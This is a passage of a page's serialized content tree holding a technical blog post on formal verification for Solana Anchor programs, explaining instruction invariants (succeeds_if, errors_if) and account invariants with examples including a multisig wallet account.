Context",{"type":23,"tag":314,"props":19529,"children":19530},{"style":338},[19531],{"type":28,"value":5060},{"type":23,"tag":314,"props":19533,"children":19534},{"style":2674},[19535],{"type":28,"value":19417},{"type":23,"tag":314,"props":19537,"children":19538},{"style":338},[19539],{"type":28,"value":5886},{"type":23,"tag":314,"props":19541,"children":19542},{"style":360},[19543],{"type":28,"value":19544},"amount",{"type":23,"tag":314,"props":19546,"children":19547},{"style":354},[19548],{"type":28,"value":3746},{"type":23,"tag":314,"props":19550,"children":19551},{"style":2674},[19552],{"type":28,"value":5114},{"type":23,"tag":314,"props":19554,"children":19555},{"style":338},[19556],{"type":28,"value":2343},{"type":23,"tag":314,"props":19558,"children":19559},{"style":354},[19560],{"type":28,"value":1015},{"type":23,"tag":314,"props":19562,"children":19563},{"style":2674},[19564],{"type":28,"value":13009},{"type":23,"tag":314,"props":19566,"children":19567},{"style":338},[19568],{"type":28,"value":19569},"\u003C()> {\n",{"type":23,"tag":314,"props":19571,"children":19572},{"class":316,"line":1141},[19573],{"type":23,"tag":314,"props":19574,"children":19575},{"style":354},[19576],{"type":28,"value":19577}," ...\n",{"type":23,"tag":314,"props":19579,"children":19580},{"class":316,"line":1173},[19581],{"type":23,"tag":314,"props":19582,"children":19583},{"style":338},[19584],{"type":28,"value":386},{"type":23,"tag":2186,"props":19586,"children":19587},{},[19588],{"type":23,"tag":24,"props":19589,"children":19590},{},[19591,19592,19597,19599,19604,19606,19611],{"type":28,"value":92},{"type":23,"tag":94,"props":19593,"children":19595},{"className":19594},[],[19596],{"type":28,"value":19399},{"type":28,"value":19598}," expression specifies ",{"type":23,"tag":186,"props":19600,"children":19601},{},[19602],{"type":28,"value":19603},"succifient",{"type":28,"value":19605}," but not ",{"type":23,"tag":186,"props":19607,"children":19608},{},[19609],{"type":28,"value":19610},"necessary",{"type":28,"value":19612}," conditions for an instruction to fail. I.e. it imposes a strong lower bound on what the requirements are for an instruction to fail.",{"type":23,"tag":18031,"props":19614,"children":19615},{},[],{"type":23,"tag":24,"props":19617,"children":19618},{},[19619,19621,19626],{"type":28,"value":19620},"Another example is that for ",{"type":23,"tag":186,"props":19622,"children":19623},{},[19624],{"type":28,"value":19625},"crank",{"type":28,"value":19627}," functions — run by unauthenticated users to advance the state of the system, you may want to prove that they never fail. In that case, you could specify an invariant like the following:",{"type":23,"tag":304,"props":19629,"children":19631},{"code":19630,"language":2233,"meta":7,"className":2234,"style":7},"#[succeeds_if(true)]\nfn my_crank(ctx: Context\u003CCrank>) -> Result\u003C()> {\n ...\n}\n",[19632],{"type":23,"tag":94,"props":19633,"children":19634},{"__ignoreMap":7},[19635,19643,19697,19704],{"type":23,"tag":314,"props":19636,"children":19637},{"class":316,"line":317},[19638],{"type":23,"tag":314,"props":19639,"children":19640},{"style":338},[19641],{"type":28,"value":19642},"#[succeeds_if(true)]\n",{"type":23,"tag":314,"props":19644,"children":19645},{"class":316,"line":370},[19646,19650,19655,19659,19663,19667,19671,19675,19680,19685,19689,19693],{"type":23,"tag":314,"props":19647,"children":19648},{"style":321},[19649],{"type":28,"value":19504},{"type":23,"tag":314,"props":19651,"children":19652},{"style":332},[19653],{"type":28,"value":19654}," my_crank",{"type":23,"tag":314,"props":19656,"children":19657},{"style":338},[19658],{"type":28,"value":341},{"type":23,"tag":314,"props":19660,"children":19661},{"style":360},[19662],{"type":28,"value":19518},{"type":23,"tag":314,"props":19664,"children":19665},{"style":354},[19666],{"type":28,"value":3746},{"type":23,"tag":314,"props":19668,"children":19669},{"style":2674},[19670],{"type":28,"value":19527},{"type":23,"tag":314,"props":19672,"children":19673},{"style":338},[19674],{"type":28,"value":5060},{"type":23,"tag":314,"props":19676,"children":19677},{"style":2674},[19678],{"type":28,"value":19679},"Crank",{"type":23,"tag":314,"props":19681,"children":19682},{"style":338},[19683],{"type":28,"value":19684},">) ",{"type":23,"tag":314,"props":19686,"children":19687},{"style":354},[19688],{"type":28,"value":1015},{"type":23,"tag":314,"props":19690,"children":19691},{"style":2674},[19692],{"type":28,"value":13009},{"type":23,"tag":314,"props":19694,"children":19695},{"style":338},[19696],{"type":28,"value":19569},{"type":23,"tag":314,"props":19698,"children":19699},{"class":316,"line":380},[19700],{"type":23,"tag":314,"props":19701,"children":19702},{"style":354},[19703],{"type":28,"value":19577},{"type":23,"tag":314,"props":19705,"children":19706},{"class":316,"line":1091},[19707],{"type":23,"tag":314,"props":19708,"children":19709},{"style":338},[19710],{"type":28,"value":386},{"type":23,"tag":24,"props":19712,"children":19713},{},[19714,19716,19720,19722,19728],{"type":28,"value":19715},"With this invariant, you could prove that the function ",{"type":23,"tag":186,"props":19717,"children":19718},{},[19719],{"type":28,"value":12342},{"type":28,"value":19721}," returns ",{"type":23,"tag":94,"props":19723,"children":19725},{"className":19724},[],[19726],{"type":28,"value":19727},"Ok",{"type":28,"value":19729},". This type of construction could help avoid possible denial of service attacks if a crank could get \"stuck.\"",{"type":23,"tag":18031,"props":19731,"children":19732},{},[],{"type":23,"tag":24,"props":19734,"children":19735},{},[19736,19738,19743,19744,19749,19751,19756,19758,19763,19765,19770],{"type":28,"value":19737},"Note that ",{"type":23,"tag":94,"props":19739,"children":19741},{"className":19740},[],[19742],{"type":28,"value":19392},{"type":28,"value":557},{"type":23,"tag":94,"props":19745,"children":19747},{"className":19746},[],[19748],{"type":28,"value":19399},{"type":28,"value":19750}," are both implications and not biconditionals. That is, a function may succeed even if ",{"type":23,"tag":94,"props":19752,"children":19754},{"className":19753},[],[19755],{"type":28,"value":19392},{"type":28,"value":19757}," is not satisfied and a function may fail even if ",{"type":23,"tag":94,"props":19759,"children":19761},{"className":19760},[],[19762],{"type":28,"value":19399},{"type":28,"value":19764}," is not satisfied. If you want to prove the ",{"type":23,"tag":186,"props":19766,"children":19767},{},[19768],{"type":28,"value":19769},"exact condition",{"type":28,"value":19771}," required for an instruction to succeed, you could use a form like the following:",{"type":23,"tag":304,"props":19773,"children":19775},{"code":19774,"language":2233,"meta":7,"className":2234,"style":7},"fn my_invariant(...) -> bool { ... }\n\n#[succeeds_if(my_invariant(...))]\n#[errors_if(!my_invariant(...))]\nfn my_instruction(ctx: Context\u003C...>) -> Result\u003C()> {\n ...\n}\n",[19776],{"type":23,"tag":94,"props":19777,"children":19778},{"__ignoreMap":7},[19779,19823,19830,19847,19873,19925,19932],{"type":23,"tag":314,"props":19780,"children":19781},{"class":316,"line":317},[19782,19786,19791,19795,19799,19803,19807,19811,19815,19819],{"type":23,"tag":314,"props":19783,"children":19784},{"style":321},[19785],{"type":28,"value":19504},{"type":23,"tag":314,"props":19787,"children":19788},{"style":332},[19789],{"type":28,"value":19790}," my_invariant",{"type":23,"tag":314,"props":19792,"children":19793},{"style":338},[19794],{"type":28,"value":341},{"type":23,"tag":314,"props":19796,"children":19797},{"style":354},[19798],{"type":28,"value":8840},{"type":23,"tag":314,"props":19800,"children":19801},{"style":338},[19802],{"type":28,"value":2343},{"type":23,"tag":314,"props":19804,"children":19805},{"style":354},[19806],{"type":28,"value":1015},{"type":23,"tag":314,"props":19808,"children":19809},{"style":2674},[19810],{"type":28,"value":11298},{"type":23,"tag":314,"props":19812,"children":19813},{"style":338},[19814],{"type":28,"value":1242},{"type":23,"tag":314,"props":19816,"children":19817},{"style":354},[19818],{"type":28,"value":8840},{"type":23,"tag":314,"props":19820,"children":19821},{"style":338},[19822],{"type":28,"value":8845},{"type":23,"tag":314,"props":19824,"children":19825},{"class":316,"line":370},[19826],{"type":23,"tag":314,"props":19827,"children":19828},{"emptyLinePlaceholder":18},[19829],{"type":28,"value":1088},{"type":23,"tag":314,"props":19831,"children":19832},{"class":316,"line":380},[19833,19838,19842],{"type":23,"tag":314,"props":19834,"children":19835},{"style":338},[19836],{"type":28,"value":19837},"#[succeeds_if(my_invariant(",{"type":23,"tag":314,"props":19839,"children":19840},{"style":354},[19841],{"type":28,"value":8840},{"type":23,"tag":314,"props":19843,"children":19844},{"style":338},[19845],{"type":28,"value":19846},"))]\n",{"type":23,"tag":314,"props":19848,"children":19849},{"class":316,"line":1091},[19850,19855,19860,19865,19869],{"type":23,"tag":314,"props":19851,"children":19852},{"style":338},[19853],{"type":28,"value":19854},"#[errors_if(",{"type":23,"tag":314,"props":19856,"children":19857},{"style":354},[19858],{"type":28,"value":19859},"!",{"type":23,"tag":314,"props":19861,"children":19862},{"style":338},[19863],{"type":28,"value":19864},"my_invariant(",{"type":23,"tag":314,"props":19866,"children":19867},{"style":354},[19868],{"type":28,"value":8840},{"type":23,"tag":314,"props":19870,"children":19871},{"style":338},[19872],{"type":28,"value":19846},{"type":23,"tag":314,"props":19874,"children":19875},{"class":316,"line":1141},[19876,19880,19885,19889,19893,19897,19901,19905,19909,19913,19917,19921],{"type":23,"tag":314,"props":19877,"children":19878},{"style":321},[19879],{"type":28,"value":19504},{"type":23,"tag":314,"props":19881,"children":19882},{"style":332},[19883],{"type":28,"value":19884}," my_instruction",{"type":23,"tag":314,"props":19886,"children":19887},{"style":338},[19888],{"type":28,"value":341},{"type":23,"tag":314,"props":19890,"children":19891},{"style":360},[19892],{"type":28,"value":19518},{"type":23,"tag":314,"props":19894,"children":19895},{"style":354},[19896],{"type":28,"value":3746},{"type":23,"tag":314,"props":19898,"children":19899},{"style":2674},[19900],{"type":28,"value":19527},{"type":23,"tag":314,"props":19902,"children":19903},{"style":338},[19904],{"type":28,"value":5060},{"type":23,"tag":314,"props":19906,"children":19907},{"style":354},[19908],{"type":28,"value":8840},{"type":23,"tag":314,"props":19910,"children":19911},{"style":338},[19912],{"type":28,"value":19684},{"type":23,"tag":314,"props":19914,"children":19915},{"style":354},[19916],{"type":28,"value":1015},{"type":23,"tag":314,"props":19918,"children":19919},{"style":2674},[19920],{"type":28,"value":13009},{"type":23,"tag":314,"props":19922,"children":19923},{"style":338},[19924],{"type":28,"value":19569},{"type":23,"tag":314,"props":19926,"children":19927},{"class":316,"line":1173},[19928],{"type":23,"tag":314,"props":19929,"children":19930},{"style":354},[19931],{"type":28,"value":19577},{"type":23,"tag":314,"props":19933,"children":19934},{"class":316,"line":1208},[19935],{"type":23,"tag":314,"props":19936,"children":19937},{"style":338},[19938],{"type":28,"value":386},{"type":23,"tag":24,"props":19940,"children":19941},{},[19942],{"type":28,"value":19943},"Note that in practice, it is usually not necessary (or useful) to find the exact condition; rather we can achieve the security properties we want purely by proving upper and lower bounds on instruction success.",{"type":23,"tag":18130,"props":19945,"children":19947},{"id":19946},"account-invariants",[19948],{"type":28,"value":19949},"Account Invariants",{"type":23,"tag":24,"props":19951,"children":19952},{},[19953,19955,19960],{"type":28,"value":19954},"The other type of invariant is an ",{"type":23,"tag":721,"props":19956,"children":19957},{},[19958],{"type":28,"value":19959},"Account Invariant",{"type":28,"value":19961},". This invariant describes some property of an account that should always hold.",{"type":23,"tag":24,"props":19963,"children":19964},{},[19965,19967,19972,19973,19979],{"type":28,"value":19966},"In our tool, we verify that the account invariant holds after every instruction that could modify the account data (i.e. if the account is ",{"type":23,"tag":94,"props":19968,"children":19970},{"className":19969},[],[19971],{"type":28,"value":2979},{"type":28,"value":515},{"type":23,"tag":94,"props":19974,"children":19976},{"className":19975},[],[19977],{"type":28,"value":19978},"init",{"type":28,"value":419},{"type":23,"tag":24,"props":19981,"children":19982},{},[19983,19985,19991],{"type":28,"value":19984},"For example, given a mock ",{"type":23,"tag":94,"props":19986,"children":19988},{"className":19987},[],[19989],{"type":28,"value":19990},"UserStatement",{"type":28,"value":19992}," account that represents how much a user owns and owes, we could write an invariant that asserts that the net balance is positive:",{"type":23,"tag":304,"props":19994,"children":19996},{"code":19995,"language":2233,"meta":7,"className":2234,"style":7},"#[account]\n#[invariant(\n self.assets >= self.liabilities\n)]\nstruct UserStatement {\n pub owner: Pubkey,\n pub assets: u64,\n pub liabilities: u64,\n}\n",[19997],{"type":23,"tag":94,"props":19998,"children":19999},{"__ignoreMap":7},[20000,20008,20016,20050,20057,20073,20099,20123,20147],{"type":23,"tag":314,"props":20001,"children":20002},{"class":316,"line":317},[20003],{"type":23,"tag":314,"props":20004,"children":20005},{"style":338},[20006],{"type":28,"value":20007},"#[account]\n",{"type":23,"tag":314,"props":20009,"children":20010},{"class":316,"line":370},[20011],{"type":23,"tag":314,"props":20012,"children":20013},{"style":338},[20014],{"type":28,"value":20015},"#[invariant(\n",{"type":23,"tag":314,"props":20017,"children":20018},{"class":316,"line":380},[20019,20024,20028,20033,20037,20041,20045],{"type":23,"tag":314,"props":20020,"children":20021},{"style":338},[20022],{"type":28,"value":20023}," self",{"type":23,"tag":314,"props":20025,"children":20026},{"style":354},[20027],{"type":28,"value":282},{"type":23,"tag":314,"props":20029,"children":20030},{"style":338},[20031],{"type":28,"value":20032},"assets ",{"type":23,"tag":314,"props":20034,"children":20035},{"style":354},[20036],{"type":28,"value":9191},{"type":23,"tag":314,"props":20038,"children":20039},{"style":338},[20040],{"type":28,"value":13044},{"type":23,"tag":314,"props":20042,"children":20043},{"style":354},[20044],{"type":28,"value":282},{"type":23,"tag":314,"props":20046,"children":20047},{"style":338},[20048],{"type":28,"value":20049},"liabilities\n",{"type":23,"tag":314,"props":20051,"children":20052},{"class":316,"line":1091},[20053],{"type":23,"tag":314,"props":20054,"children":20055},{"style":338},[20056],{"type":28,"value":19496},{"type":23,"tag":314,"props":20058,"children":20059},{"class":316,"line":1141},[20060,20064,20069],{"type":23,"tag":314,"props":20061,"children":20062},{"style":321},[20063],{"type":28,"value":8651},{"type":23,"tag":314,"props":20065,"children":20066},{"style":2674},[20067],{"type":28,"value":20068}," UserStatement",{"type":23,"tag":314,"props":20070,"children":20071},{"style":338},[20072],{"type":28,"value":1449},{"type":23,"tag":314,"props":20074,"children":20075},{"class":316,"line":1173},[20076,20081,20086,20090,20095],{"type":23,"tag":314,"props":20077,"children":20078},{"style":321},[20079],{"type":28,"value":20080}," pub",{"type":23,"tag":314,"props":20082,"children":20083},{"style":360},[20084],{"type":28,"value":20085}," owner",{"type":23,"tag":314,"props":20087,"children":20088},{"style":354},[20089],{"type":28,"value":3746},{"type":23,"tag":314,"props":20091,"children":20092},{"style":2674},[20093],{"type":28,"value":20094}," Pubkey",{"type":23,"tag":314,"props":20096,"children":20097},{"style":338},[20098],{"type":28,"value":1870},{"type":23,"tag":314,"props":20100,"children":20101},{"class":316,"line":1208},[20102,20106,20111,20115,20119],{"type":23,"tag":314,"props":20103,"children":20104},{"style":321},[20105],{"type":28,"value":20080},{"type":23,"tag":314,"props":20107,"children":20108},{"style":360},[20109],{"type":28,"value":20110}," assets",{"type":23,"tag":314,"props":20112,"children":20113},{"style":354},[20114],{"type":28,"value":3746},{"type":23,"tag":314,"props":20116,"children":20117},{"style":2674},[20118],{"type":28,"value":5114},{"type":23,"tag":314,"props":20120,"children":20121},{"style":338},[20122],{"type":28,"value":1870},{"type":23,"tag":314,"props":20124,"children":20125},{"class":316,"line":1216},[20126,20130,20135,20139,20143],{"type":23,"tag":314,"props":20127,"children":20128},{"style":321},[20129],{"type":28,"value":20080},{"type":23,"tag":314,"props":20131,"children":20132},{"style":360},[20133],{"type":28,"value":20134}," liabilities",{"type":23,"tag":314,"props":20136,"children":20137},{"style":354},[20138],{"type":28,"value":3746},{"type":23,"tag":314,"props":20140,"children":20141},{"style":2674},[20142],{"type":28,"value":5114},{"type":23,"tag":314,"props":20144,"children":20145},{"style":338},[20146],{"type":28,"value":1870},{"type":23,"tag":314,"props":20148,"children":20149},{"class":316,"line":1301},[20150],{"type":23,"tag":314,"props":20151,"children":20152},{"style":338},[20153],{"type":28,"value":386},{"type":23,"tag":24,"props":20155,"children":20156},{},[20157,20159,20164],{"type":28,"value":20158},"Our tool automatically generates the relevant harnesses to ensure that this property holds every time an account of type ",{"type":23,"tag":94,"props":20160,"children":20162},{"className":20161},[],[20163],{"type":28,"value":19990},{"type":28,"value":20165}," is created or modified.",{"type":23,"tag":24,"props":20167,"children":20168},{},[20169,20171,20177],{"type":28,"value":20170},"In another example, we developed the following invariant for the ",{"type":23,"tag":31,"props":20172,"children":20174},{"href":18062,"rel":20173},[35],[20175],{"type":28,"value":20176},"Squads Multisig",{"type":28,"value":20178}," wallet account:",{"type":23,"tag":304,"props":20180,"children":20182},{"code":20181,"language":2233,"meta":7,"className":2234,"style":7},"#[account]\n#[invariant(\n !self.keys.is_empty()\n && (self.keys.len() \u003C= u16::MAX as usize)\n && (self.threshold >= 1)\n && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms {\n pub threshold: u16, // threshold for signatures\n pub authority_index: u16, // index to seed other authorities under this multisig\n pub transaction_index: u32, // look up and seed reference for transactions\n pub ms_change_index: u32, // the last executed/closed transaction\n pub bump: u8, // bump for the multisig seed\n pub create_key: Pubkey, // random key(or not) used to seed the multisig pda\n pub allow_external_execute: bool, // allow non-member keys to execute txs\n pub keys: Vec\u003CPubkey>, // keys of the members\n}\n",[20183],{"type":23,"tag":94,"props":20184,"children":20185},{"__ignoreMap":7},[20186,20193,20200,20230,20289,20318,20370,20377,20398,20428,20458,20488,20517,20547,20577,20606,20646],{"type":23,"tag":314,"props":20187,"children":20188},{"class":316,"line":317},[20189],{"type":23,"tag":314,"props":20190,"children":20191},{"style":338},[20192],{"type":28,"value":20007},{"type":23,"tag":314,"props":20194,"children":20195},{"class":316,"line":370},[20196],{"type":23,"tag":314,"props":20197,"children":20198},{"style":338},[20199],{"type":28,"value":20015},{"type":23,"tag":314,"props":20201,"children":20202},{"class":316,"line":380},[20203,20208,20212,20216,20221,20225],{"type":23,"tag":314,"props":20204,"children":20205},{"style":354},[20206],{"type":28,"value":20207}," !",{"type":23,"tag":314,"props":20209,"children":20210},{"style":338},[20211],{"type":28,"value":12961},{"type":23,"tag":314,"props":20213,"children":20214},{"style":354},[20215],{"type":28,"value":282},{"type":23,"tag":314,"props":20217,"children":20218},{"style":338},[20219],{"type":28,"value":20220},"keys",{"type":23,"tag":314,"props":20222,"children":20223},{"style":354},[20224],{"type":28,"value":282},{"type":23,"tag":314,"props":20226,"children":20227},{"style":338},[20228],{"type":28,"value":20229},"is_empty()\n",{"type":23,"tag":314,"props":20231,"children":20232},{"class":316,"line":1091},[20233,20237,20242,20246,20250,20254,20259,20263,20268,20272,20277,20281,20285],{"type":23,"tag":314,"props":20234,"children":20235},{"style":354},[20236],{"type":28,"value":14863},{"type":23,"tag":314,"props":20238,"children":20239},{"style":338},[20240],{"type":28,"value":20241}," (self",{"type":23,"tag":314,"props":20243,"children":20244},{"style":354},[20245],{"type":28,"value":282},{"type":23,"tag":314,"props":20247,"children":20248},{"style":338},[20249],{"type":28,"value":20220},{"type":23,"tag":314,"props":20251,"children":20252},{"style":354},[20253],{"type":28,"value":282},{"type":23,"tag":314,"props":20255,"children":20256},{"style":338},[20257],{"type":28,"value":20258},"len() ",{"type":23,"tag":314,"props":20260,"children":20261},{"style":354},[20262],{"type":28,"value":1165},{"type":23,"tag":314,"props":20264,"children":20265},{"style":2674},[20266],{"type":28,"value":20267}," u16",{"type":23,"tag":314,"props":20269,"children":20270},{"style":354},[20271],{"type":28,"value":2737},{"type":23,"tag":314,"props":20273,"children":20274},{"style":2674},[20275],{"type":28,"value":20276},"MAX",{"type":23,"tag":314,"props":20278,"children":20279},{"style":321},[20280],{"type":28,"value":8080},{"type":23,"tag":314,"props":20282,"children":20283},{"style":2674},[20284],{"type":28,"value":12979},{"type":23,"tag":314,"props":20286,"children":20287},{"style":338},[20288],{"type":28,"value":2414},{"type":23,"tag":314,"props":20290,"children":20291},{"class":316,"line":1141},[20292,20296,20300,20304,20309,20313],{"type":23,"tag":314,"props":20293,"children":20294},{"style":354},[20295],{"type":28,"value":14863},{"type":23,"tag":314,"props":20297,"children":20298},{"style":338},[20299],{"type":28,"value":20241},{"type":23,"tag":314,"props":20301,"children":20302},{"style":354},[20303],{"type":28,"value":282},{"type":23,"tag":314,"props":20305,"children":20306},{"style":338},[20307],{"type":28,"value":20308},"threshold ",{"type":23,"tag":314,"props":20310,"children":20311},{"style":354},[20312],{"type":28,"value":9191},{"type":23,"tag":314,"props":20314,"children":20315},{"style":338},[20316],{"type":28,"value":20317}," 1)\n",{"type":23,"tag":314,"props":20319,"children":20320},{"class":316,"line":1173},[20321,20325,20329,20333,20337,20341,20345,20349,20353,20357,20361,20365],{"type":23,"tag":314,"props":20322,"children":20323},{"style":354},[20324],{"type":28,"value":14863},{"type":23,"tag":314,"props":20326,"children":20327},{"style":338},[20328],{"type":28,"value":20241},{"type":23,"tag":314,"props":20330,"children":20331},{"style":354},[20332],{"type":28,"value":282},{"type":23,"tag":314,"props":20334,"children":20335},{"style":338},[20336],{"type":28,"value":20308},{"type":23,"tag":314,"props":20338,"children":20339},{"style":321},[20340],{"type":28,"value":8094},{"type":23,"tag":314,"props":20342,"children":20343},{"style":2674},[20344],{"type":28,"value":12979},{"type":23,"tag":314,"props":20346,"children":20347},{"style":354},[20348],{"type":28,"value":7451},{"type":23,"tag":314,"props":20350,"children":20351},{"style":338},[20352],{"type":28,"value":13044},{"type":23,"tag":314,"props":20354,"children":20355},{"style":354},[20356],{"type":28,"value":282},{"type":23,"tag":314,"props":20358,"children":20359},{"style":338},[20360],{"type":28,"value":20220},{"type":23,"tag":314,"props":20362,"children":20363},{"style":354},[20364],{"type":28,"value":282},{"type":23,"tag":314,"props":20366,"children":20367},{"style":338},[20368],{"type":28,"value":20369},"len())\n",{"type":23,"tag":314,"props":20371,"children":20372},{"class":316,"line":1208},[20373],{"type":23,"tag":314,"props":20374,"children":20375},{"style":338},[20376],{"type":28,"value":19496},{"type":23,"tag":314,"props":20378,"children":20379},{"class":316,"line":1216},[20380,20384,20389,20394],{"type":23,"tag":314,"props":20381,"children":20382},{"style":321},[20383],{"type":28,"value":12938},{"type":23,"tag":314,"props":20385,"children":20386},{"style":321},[20387],{"type":28,"value":20388}," struct",{"type":23,"tag":314,"props":20390,"children":20391},{"style":2674},[20392],{"type":28,"value":20393}," Ms",{"type":23,"tag":314,"props":20395,"children":20396},{"style":338},[20397],{"type":28,"value":1449},{"type":23,"tag":314,"props":20399,"children":20400},{"class":316,"line":1301},[20401,20405,20410,20414,20418,20423],{"type":23,"tag":314,"props":20402,"children":20403},{"style":321},[20404],{"type":28,"value":20080},{"type":23,"tag":314,"props":20406,"children":20407},{"style":360},[20408],{"type":28,"value":20409}," threshold",{"type":23,"tag":314,"props":20411,"children":20412},{"style":354},[20413],{"type":28,"value":3746},{"type":23,"tag":314,"props":20415,"children":20416},{"style":2674},[20417],{"type":28,"value":20267},{"type":23,"tag":314,"props":20419,"children":20420},{"style":338},[20421],{"type":28,"value":20422},", ",{"type":23,"tag":314,"props":20424,"children":20425},{"style":374},[20426],{"type":28,"value":20427},"// threshold for signatures\n",{"type":23,"tag":314,"props":20429,"children":20430},{"class":316,"line":1343},[20431,20435,20440,20444,20448,20453],{"type":23,"tag":314,"props":20432,"children":20433},{"style":321},[20434],{"type":28,"value":20080},{"type":23,"tag":314,"props":20436,"children":20437},{"style":360},[20438],{"type":28,"value":20439}," authority_index",{"type":23,"tag":314,"props":20441,"children":20442},{"style":354},[20443],{"type":28,"value":3746},{"type":23,"tag":314,"props":20445,"children":20446},{"style":2674},[20447],{"type":28,"value":20267},{"type":23,"tag":314,"props":20449,"children":20450},{"style":338},[20451],{"type":28,"value":20452},", ",{"type":23,"tag":314,"props":20454,"children":20455},{"style":374},[20456],{"type":28,"value":20457},"// index to seed other authorities under this multisig\n",{"type":23,"tag":314,"props":20459,"children":20460},{"class":316,"line":1351},[20461,20465,20470,20474,20478,20483],{"type":23,"tag":314,"props":20462,"children":20463},{"style":321},[20464],{"type":28,"value":20080},{"type":23,"tag":314,"props":20466,"children":20467},{"style":360},[20468],{"type":28,"value":20469}," transaction_index",{"type":23,"tag":314,"props":20471,"children":20472},{"style":354},[20473],{"type":28,"value":3746},{"type":23,"tag":314,"props":20475,"children":20476},{"style":2674},[20477],{"type":28,"value":16788},{"type":23,"tag":314,"props":20479,"children":20480},{"style":338},[20481],{"type":28,"value":20482},", ",{"type":23,"tag":314,"props":20484,"children":20485},{"style":374},[20486],{"type":28,"value":20487},"// look up and seed reference for transactions\n",{"type":23,"tag":314,"props":20489,"children":20490},{"class":316,"line":1387},[20491,20495,20500,20504,20508,20512],{"type":23,"tag":314,"props":20492,"children":20493},{"style":321},[20494],{"type":28,"value":20080},{"type":23,"tag":314,"props":20496,"children":20497},{"style":360},[20498],{"type":28,"value":20499}," ms_change_index",{"type":23,"tag":314,"props":20501,"children":20502},{"style":354},[20503],{"type":28,"value":3746},{"type":23,"tag":314,"props":20505,"children":20506},{"style":2674},[20507],{"type":28,"value":16788},{"type":23,"tag":314,"props":20509,"children":20510},{"style":338},[20511],{"type":28,"value":20452},{"type":23,"tag":314,"props":20513,"children":20514},{"style":374},[20515],{"type":28,"value":20516},"// the last executed/closed transaction\n",{"type":23,"tag":314,"props":20518,"children":20519},{"class":316,"line":1422},[20520,20524,20529,20533,20537,20542],{"type":23,"tag":314,"props":20521,"children":20522},{"style":321},[20523],{"type":28,"value":20080},{"type":23,"tag":314,"props":20525,"children":20526},{"style":360},[20527],{"type":28,"value":20528}," bump",{"type":23,"tag":314,"props":20530,"children":20531},{"style":354},[20532],{"type":28,"value":3746},{"type":23,"tag":314,"props":20534,"children":20535},{"style":2674},[20536],{"type":28,"value":13880},{"type":23,"tag":314,"props":20538,"children":20539},{"style":338},[20540],{"type":28,"value":20541},", ",{"type":23,"tag":314,"props":20543,"children":20544},{"style":374},[20545],{"type":28,"value":20546},"// bump for the multisig seed\n",{"type":23,"tag":314,"props":20548,"children":20549},{"class":316,"line":1430},[20550,20554,20559,20563,20567,20572],{"type":23,"tag":314,"props":20551,"children":20552},{"style":321},[20553],{"type":28,"value":20080},{"type":23,"tag":314,"props":20555,"children":20556},{"style":360},[20557],{"type":28,"value":20558}," create_key",{"type":23,"tag":314,"props":20560,"children":20561},{"style":354},[20562],{"type":28,"value":3746},{"type":23,"tag":314,"props":20564,"children":20565},{"style":2674},[20566],{"type":28,"value":20094},{"type":23,"tag":314,"props":20568,"children":20569},{"style":338},[20570],{"type":28,"value":20571},", ",{"type":23,"tag":314,"props":20573,"children":20574},{"style":374},[20575],{"type":28,"value":20576},"// random key(or not) used to seed the multisig pda\n",{"type":23,"tag":314,"props":20578,"children":20579},{"class":316,"line":1452},[20580,20584,20589,20593,20597,20601],{"type":23,"tag":314,"props":20581,"children":20582},{"style":321},[20583],{"type":28,"value":20080},{"type":23,"tag":314,"props":20585,"children":20586},{"style":360},[20587],{"type":28,"value":20588}," allow_external_execute",{"type":23,"tag":314,"props":20590,"children":20591},{"style":354},[20592],{"type":28,"value":3746},{"type":23,"tag":314,"props":20594,"children":20595},{"style":2674},[20596],{"type":28,"value":11298},{"type":23,"tag":314,"props":20598,"children":20599},{"style":338},[20600],{"type":28,"value":778},{"type":23,"tag":314,"props":20602,"children":20603},{"style":374},[20604],{"type":28,"value":20605},"// allow non-member keys to execute txs\n",{"type":23,"tag":314,"props":20607,"children":20608},{"class":316,"line":1497},[20609,20613,20618,20622,20627,20631,20636,20641],{"type":23,"tag":314,"props":20610,"children":20611},{"style":321},[20612],{"type":28,"value":20080},{"type":23,"tag":314,"props":20614,"children":20615},{"style":360},[20616],{"type":28,"value":20617}," keys",{"type":23,"tag":314,"props":20619,"children":20620},{"style":354},[20621],{"type":28,"value":3746},{"type":23,"tag":314,"props":20623,"children":20624},{"style":2674},[20625],{"type":28,"value":20626}," Vec",{"type":23,"tag":314,"props":20628,"children":20629},{"style":338},[20630],{"type":28,"value":5060},{"type":23,"tag":314,"props":20632,"children":20633},{"style":2674},[20634],{"type":28,"value":20635},"Pubkey",{"type":23,"tag":314,"props":20637,"children":20638},{"style":338},[20639],{"type":28,"value":20640},">, ",{"type":23,"tag":314,"props":20642,"children":20643},{"style":374},[20644],{"type":28,"value":20645},"// keys of the members\n",{"type":23,"tag":314,"props":20647,"children":20648},{"class":316,"line":1539},[20649],{"type":23,"tag":314,"props":20650,"children":20651},{"style":338},[20652],{"type":28,"value":386},{"type":23,"tag":24,"props":20654,"children":20655},{},[20656],{"type":28,"value":20657},"Here we are verifying multiple things at once:",{"type":23,"tag":127,"props":20659,"children":20660},{},[20661,20672,20683,20694],{"type":23,"tag":88,"props":20662,"children":20663},{},[20664,20670],{"type":23,"tag":94,"props":20665,"children":20667},{"className":20666},[],[20668],{"type":28,"value":20669},"!self.keys.is_empty()",{"type":28,"value":20671}," : ensure there is at least one member",{"type":23,"tag":88,"props":20673,"children":20674},{},[20675,20681],{"type":23,"tag":94,"props":20676,"children":20678},{"className":20677},[],[20679],{"type":28,"value":20680},"self.keys.len() \u003C= u16::MAX as usize",{"type":28,"value":20682}," : set an upper limit of 65535 members",{"type":23,"tag":88,"props":20684,"children":20685},{},[20686,20692],{"type":23,"tag":94,"props":20687,"children":20689},{"className":20688},[],[20690],{"type":28,"value":20691},"self.threshold >= 1",{"type":28,"value":20693}," : ensure we always need at least one member to sign (threshold of zero would require no signers!)",{"type":23,"tag":88,"props":20695,"children":20696},{},[20697,20703],{"type":23,"tag":94,"props":20698,"children":20700},{"className":20699},[],[20701],{"type":28,"value":20702},"self.threshold as usize \u003C= self.keys.len()",{"type":28,"value":20704}," : ensure we always have enough potential members to sign; if threshold was greater than the number of keys, no one could sign",{"type":23,"tag":61,"props":20706,"children":20708},{"id":20707},"verification-how-do-we-check-that-our-model-is-correct",[20709],{"type":28,"value":20710},"Verification: How do we check that our model is correct?",{"type":23,"tag":24,"props":20712,"children":20713},{},[20714,20716,20720,20722,20727],{"type":28,"value":20715},"Now that we have defined the specific instruction and account invariants, we need to generate 